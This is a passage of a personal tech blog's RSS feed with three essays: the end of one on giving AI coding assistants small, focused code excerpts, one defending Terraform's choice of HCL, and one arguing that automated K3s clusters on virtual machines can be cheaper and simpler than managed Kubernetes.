have so much “working memory” — a<em>context window</em>. When you shove 5,000 lines of code at them, a few things happen:</p><ul><li><p>You blow most of the available window right away</p></li><li><p>Your actual question gets buried under noise</p></li><li><p>The model has to guess what’s important in the pile</p></li><li><p>There’s less room left for follow-up questions</p></li></ul><p>It’s like asking someone to find a single paragraph in a book, then dumping an entire library on their desk and saying,<em>“good luck.”</em></p><h2 id="the-counterintuitive-truth"><strong>The Counterintuitive Truth</strong></h2><p>The less code you show your AI assistant, the better it performs.</p><p>I’ve found the sweet spot is usually 200–500 lines. Enough to give context, not so much that the model chokes.</p><h2 id="how-to-work-smarter-with-ai-code-assistants"><strong>How to Work Smarter With AI Code Assistants</strong></h2><ol><li><p><strong>Split files by module or function</strong></p><p>Don’t dump an entire repo. Just pull out the piece you care about:</p></li></ol><blockquote><p>“I need help optimizing this authentication middleware function:”</p><p>[paste 50–100 lines here]</p></blockquote><ol start="2"><li><p><strong>Summarize bigger pieces</strong></p><p>Let the AI help you write summaries of large sections. Then use those summaries as context alongside the small chunk you actually care about.</p></li><li><p><strong>Scope your questions</strong></p><p>Bad: “Here’s my whole app, how can I improve it?”</p><p>Better: “Here’s my caching function. How can I reduce memory usage while keeping O(1) lookups?”</p></li><li><p><strong>Go iterative</strong></p><p>Smaller chunks make conversations faster. You can go back and forth ten times in the same time it takes to chew through one giant code dump.</p></li></ol><p>It’s basically code review etiquette. Nobody wants to wade through a 5,000-line pull request. Smaller, focused changes are easier to reason about — for humans and for AI.</p><p>The most useful “prompt engineering” trick I’ve learned isn’t about clever phrasing. It’s about context discipline. Show the AI just enough. Hide the rest.</p><p>Next time you’re tempted to paste your whole project in, remember: you’re not giving the model more to work with — you’re giving it more to drown in.</p>
]]></content:encoded></item><item><title>The Language That Wasn’t Supposed to Be One</title><link>https://lakshminp.com/2025/09/yaml-accidental-language/</link><pubDate>Tue, 23 Sep 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/09/yaml-accidental-language/</guid><category>essays</category><category>craft</category><description>If you hang around DevOps Twitter or Reddit long enough, you’ll stumble across a familiar fight: “Why does Terraform use HashiCorp Configuration Language (HCL) instead of a real programming language?”
Half the crowd insists HCL is the perfect middle ground. The other half sees it as YAML’s slightly hipper cousin — still clunky, but with more curly braces.
So, how did we end up with HCL at the center of infrastructure-as-code? And what would’ve happened if Terraform had just picked Python or Go instead?</description><content:encoded>&lt;![CDATA[<p>If you hang around DevOps Twitter or Reddit long enough, you’ll stumble across a familiar fight:<em>“Why does Terraform use HashiCorp Configuration Language (HCL) instead of a real programming language?”</em></p><p>Half the crowd insists HCL is the perfect middle ground. The other half sees it as YAML’s slightly hipper cousin — still clunky, but with more curly braces.</p><p>So, how did we end up with HCL at the center of infrastructure-as-code? And what would’ve happened if Terraform had just picked Python or Go instead?</p><h1 id="hcls-origin-storyi-think">HCL’s Origin Story(I think)</h1><p>Terraform needed something that ticked a very specific set of boxes:</p><ul><li><p><strong>Human-readable syntax</strong>: not just for developers, but for ops folks and managers who only glance at infra configs.</p></li><li><p><strong>Declarative, not imperative</strong>: you declare what you want, Terraform figures out<em>how</em> to get there.</p></li><li><p><strong>Machine-friendly</strong>: structured enough for parsing and state reconciliation, flexible enough for humans to write without crying.</p></li></ul><p>JSON was technically supported from day one. Nobody used it. Too verbose, too painful. HCL struck the balance.</p><h1 id="why-not-just-use-a-real-language">Why Not Just Use a “Real” Language?</h1><p>Imagine Terraform configs in Python. Sounds nice. Until you realize you’d need to write orchestration logic for every single dependency. Want an S3 bucket before your EC2 instance? Better remember to write that<code>await_bucket()</code> function.</p><p>Terraform’s declarative model saves us from that nightmare. By hiding the “how,” it:</p><ul><li><p>Reduces mistakes and redundancy.</p></li><li><p>Keeps configs readable across teams, even for folks who aren’t software engineers.</p></li><li><p>Manages state safely (rollbacks in Python would be a comedy of errors).</p></li></ul><p>General-purpose languages give you infinite flexibility. But in infrastructure, infinite flexibility often means infinite footguns.</p><h1 id="the-trade-off">The Trade-off</h1><p>Of course, HCL isn’t perfect. Anyone who’s wrestled with<code>for_each</code> and dynamic blocks knows it can feel like you’re fighting the language. And yes, sometimes you wish you could just drop a real loop or function in there.</p><p>But that friction is intentional. HCL’s “simplicity ceiling” prevents configs from turning into full-blown software projects. Terraform wants you thinking about infrastructure states, not writing infra-flavored spaghetti code.</p><p>The fight over HCL isn’t really about syntax. It’s about philosophy:<strong>do we want infrastructure to look like code, or like configuration?</strong></p><p>HashiCorp bet on configuration — and for all the complaints, that bet made Terraform the standard. If it had been a Python library, it probably would’ve ended up as just another provisioning framework.</p><p>HCL isn’t beautiful, but it’s pragmatic. It forces us to think declaratively, keeps the focus on infra states, and saves us from writing orchestration logic by hand.</p><p>So the next time someone complains “Why not just use Go/Python/TypeScript?”, the answer is simple:<br>
Terraform doesn’t want you to write software. It wants you to write infrastructure.</p>
]]></content:encoded></item><item><title>When DIY Beats Managed Kubernetes</title><link>https://lakshminp.com/2025/09/when-diy-beats-managed-kubernetes/</link><pubDate>Sun, 21 Sep 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/09/when-diy-beats-managed-kubernetes/</guid><category>essays</category><category>kubernetes</category><description>When I first started working with Kubernetes, I immediately gravitated toward managed offerings like EKS, GKE, and AKS. The promise was compelling: let AWS/Google/Azure handle the control plane while you focus on your applications. Fast forward a few years, and I&amp;rsquo;ve come to a somewhat contrarian position—for many teams, especially those with some ops capability, running K3s on virtual machines often makes more sense than using managed Kubernetes.
Let me explain why, and the important caveats to make this approach work.</description><content:encoded>&lt;![CDATA[<p>When I first started working with Kubernetes, I immediately gravitated toward managed offerings like EKS, GKE, and AKS. The promise was compelling: let AWS/Google/Azure handle the control plane while you focus on your applications. Fast forward a few years, and I&rsquo;ve come to a somewhat contrarian position—for many teams, especially those with some ops capability, running K3s on virtual machines often makes more sense than using managed Kubernetes.</p><p>Let me explain why, and the important caveats to make this approach work.</p><h1 id="the-managed-kubernetes-tax">The Managed Kubernetes Tax</h1><p>Managed Kubernetes services aren&rsquo;t free—and I&rsquo;m not just talking about the literal cost (though that&rsquo;s significant). They come with several forms of &ldquo;tax&rdquo;:</p><ol><li><p><strong>Financial cost</strong>: You pay for control plane(s), often per cluster. For small to medium workloads, this can be disproportionately expensive.</p></li><li><p><strong>Complexity tax</strong>: Managed K8s integrates deeply with cloud provider infrastructure—IAM, networking, storage—adding layers of abstraction and potential failure points.</p></li><li><p><strong>Upgrade friction</strong>: Managed K8s upgrades are often more complex than they need to be, involving node group rotations and potential downtime.</p></li><li><p><strong>Cognitive overhead</strong>: You still need to understand Kubernetes, plus the cloud provider&rsquo;s implementation quirks and limitations.</p></li></ol><p>Take EKS, for example. What starts as &ldquo;just let AWS manage the control plane&rdquo; quickly spirals into wrestling with IAM roles for service accounts, custom CNIs, AWS Load Balancer Controllers, and cluster autoscaler configurations that mysteriously stop working after upgrades. I&rsquo;ve spent entire days debugging issues that stemmed from the interaction between EKS and AWS&rsquo;s underlying services—time that could have been spent improving our actual applications.</p><h1 id="enter-k3s-kubernetes-without-the-bloat">Enter K3s: Kubernetes Without the Bloat</h1><p><a href="https://k3s.io/" rel="external nofollow noopener" class="lnp-link">K3s</a> is a certified Kubernetes distribution designed for resource-constrained environments. It&rsquo;s packaged as a single binary under 100MB and uses significantly fewer resources than standard K8s. But don&rsquo;t let the &ldquo;lightweight&rdquo; label fool you—K3s is a production-grade distribution that powers everything from IoT devices to large-scale production systems.</p><p>When deployed on standard VMs (whether AWS EC2, DigitalOcean Droplets, or your own infrastructure), K3s offers several advantages:</p><ol><li><p><strong>Simplicity</strong>: A K3s cluster can be bootstrapped with a single command. No complex cloud provider integration required.</p></li><li><p><strong>Cost efficiency</strong>: Run your entire control plane and worker nodes on standard VMs, often at a fraction of the cost of managed offerings.</p></li><li><p><strong>Portability</strong>: Your setup works the same way regardless of where your VMs are hosted, making multi-cloud and hybrid deployments straightforward.</p></li><li><p><strong>Easier upgrades</strong>: K3s upgrades can be as simple as replacing a binary and restarting a service.</p></li><li><p><strong>Full control</strong>: No mysterious behavior or limitations imposed by the cloud provider&rsquo;s implementation.</p></li></ol><h1 id="the-critical-caveat-you-need-automation">The Critical Caveat: You Need Automation</h1><p>Here&rsquo;s where I need to be clear: this approach only makes sense if you invest in automation. You&rsquo;re essentially building your own management layer, which requires:</p><ol><li><p><strong>Infrastructure as Code</strong>: Your entire VM fleet and K3s deployment should be defined in Terraform, Pulumi, or similar.</p></li><li><p><strong>Automated scaling</strong>: Scripts or tools that can add/remove nodes based on cluster metrics.</p></li><li><p><strong>Upgrade playbooks</strong>: Well-tested procedures for upgrading K3s versions with minimal disruption.</p></li><li><p><strong>Monitoring and alerting</strong>: Comprehensive visibility into both VM and Kubernetes-level metrics.</p></li><li><p><strong>Backup and disaster recovery</strong>: Regular etcd snapshots and documented recovery procedures.</p></li></ol><p>Without these elements, you&rsquo;re likely better off with managed Kubernetes. The goal isn&rsquo;t to recreate every feature of EKS/GKE/AKS, but to build a simpler, more focused system that meets your specific needs.</p><h1 id="real-world-example">Real-World Example</h1><p>For one of my recent projects, we replaced an EKS cluster costing roughly $250/month (control plane + required minimum nodes) with a K3s setup on three small VMs totaling $60/month. The migration took 3 days, and we&rsquo;ve had fewer operational issues since.</p><p>Our automation includes:</p><ul><li><p>Terraform for VM provisioning</p></li><li><p>Ansible for K3s installation and configuration</p></li><li><p>Custom scripts for horizontal scaling based on node resource utilization</p></li><li><p>Prometheus + Grafana for monitoring</p></li><li><p>Weekly etcd snapshots stored in S3</p></li></ul><p>The entire setup is documented in a Git repository, and new team members can spin up a local replica for testing using Vagrant.</p><p>The maintenance complexity with EKS was what ultimately pushed us over the edge. Every few months, AWS would deprecate something or introduce a new &ldquo;recommended&rdquo; way to handle networking, storage, or access control. We&rsquo;d spend days reading through documentation changes and testing upgrades in staging environments. With K3s, upgrades are predictable and focused on Kubernetes itself, not the surrounding ecosystem of AWS-specific components.</p><h1 id="when-to-stick-with-managed-kubernetes">When to Stick with Managed Kubernetes</h1><p>This approach isn&rsquo;t for everyone. You should probably stick with managed Kubernetes if:</p><ol><li><p>You have large, complex clusters with hundreds of nodes</p></li><li><p>Your team has limited operations expertise</p></li><li><p>You need advanced features like managed node auto-scaling groups</p></li><li><p>You&rsquo;re heavily invested in cloud-provider specific features</p></li></ol><h1 id="conclusion">Conclusion</h1><p>The beauty of the K3s-on-VMs approach is that it strips Kubernetes down to what it does best—orchestrating containers—without the added complexity that comes from deep cloud provider integration.</p><p>By building your own lightweight management layer through automation, you get the benefits of Kubernetes with more control, often at a lower cost. The key is being honest about your team&rsquo;s capabilities and needs.</p><p>For startups, indie hackers, and teams that value simplicity and cost-efficiency, this approach is worth considering. You might find that a little investment in automation pays significant dividends in both cost savings and reduced operational complexity.</p><p>Of course, if you enjoy spending your weekends debugging why your EKS cluster suddenly can&rsquo;t talk to your RDS instances despite no apparent changes, then by all means, stick with managed Kubernetes. Some people also enjoy jigsaw puzzles with missing pieces.</p>
]]></content:encoded></item></channel></rss>